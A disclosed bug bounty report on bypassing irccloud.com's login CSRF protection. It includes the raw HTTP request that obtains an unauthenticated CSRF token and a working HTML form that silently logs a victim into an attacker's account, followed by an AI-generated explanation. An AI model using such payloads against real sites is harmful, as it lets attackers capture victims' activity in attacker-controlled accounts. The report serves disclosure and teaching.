Login CSRF can be bypassed (Similar approach to previous one).
The login CSRF protection could be bypassed because an attacker could obtain a valid CSRF token from the server without authentication. An attacker could then force a victim to log into the attacker's account, defeating the CSRF protection.
- Fixed in 15 days
- Paid in 15 days
- Disclosed after 36 days
The login CSRF protection currently implemented is not adequate and can be bypassed pretty easily.
An attacker can easily obtain a CSRF token from the server by initiating the following request:
POST /chat/auth-formtoken HTTP/1.1 Host: www.irccloud.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: https://www.irccloud.com/ Content-Length: 8 Cookie: session= Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
_reqid=1
Once this request is sent an attacker would receive a valid CSRF token. In my case I received "1397481736.3b1f59ae47e1a139e8a631b2589dfae2"
Once I have a valid CSRF token, I can conduct a login CSRF attack against a victim using the following PoC. Notice the CSRF token is the one received above.
<html> <body> <form action="https://www.irccloud.com/chat/login" method="POST"> <input type="hidden" name="email" value="ATTACKER-EMAIL" /> <input type="hidden" name="password" value="ATTACKER-PASSWORD" /> <input type="hidden" name="org_invite" value="" /> <input type="hidden" name="token" value="1397481736.3b1f59ae47e1a139e8a631b2589dfae2" /> <input type="hidden" name="_reqid" value="2" /> <input type="submit" value="Submit request" /> </form> </body> </html>This has basically defeated the CSRF protection offered by the application. When a victim submits the above request, the victim would be logged into the attackers account.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the CSRF token endpoint did not require authentication or bind the token to the user's session, allowing anyone to obtain a valid token.
Impact
An attacker could log a victim into the attacker's account, potentially leading to data exposure or further attacks, though the text does not specify additional consequences.
What the attacker needed
Victim clicks a link or visits a malicious page; attacker has a valid account
The fix
The CSRF protection should be strengthened so tokens cannot be obtained unauthenticated.
How it was found
- Send a POST request to the auth-formtoken endpoint to obtain a valid CSRF token.
- Use the obtained token in a crafted HTML form that submits login credentials to the login endpoint.
- Trick the victim into submitting the form, which logs them into the attacker's account.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
CSRF is when a malicious site makes your browser send a request to another site where you are logged in, without your knowledge. Here, the site tried to prevent this with a secret token, but the attacker could simply ask the server for a valid token first. Then the attacker tricked the victim into submitting a login form that logged them into the attacker's account.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.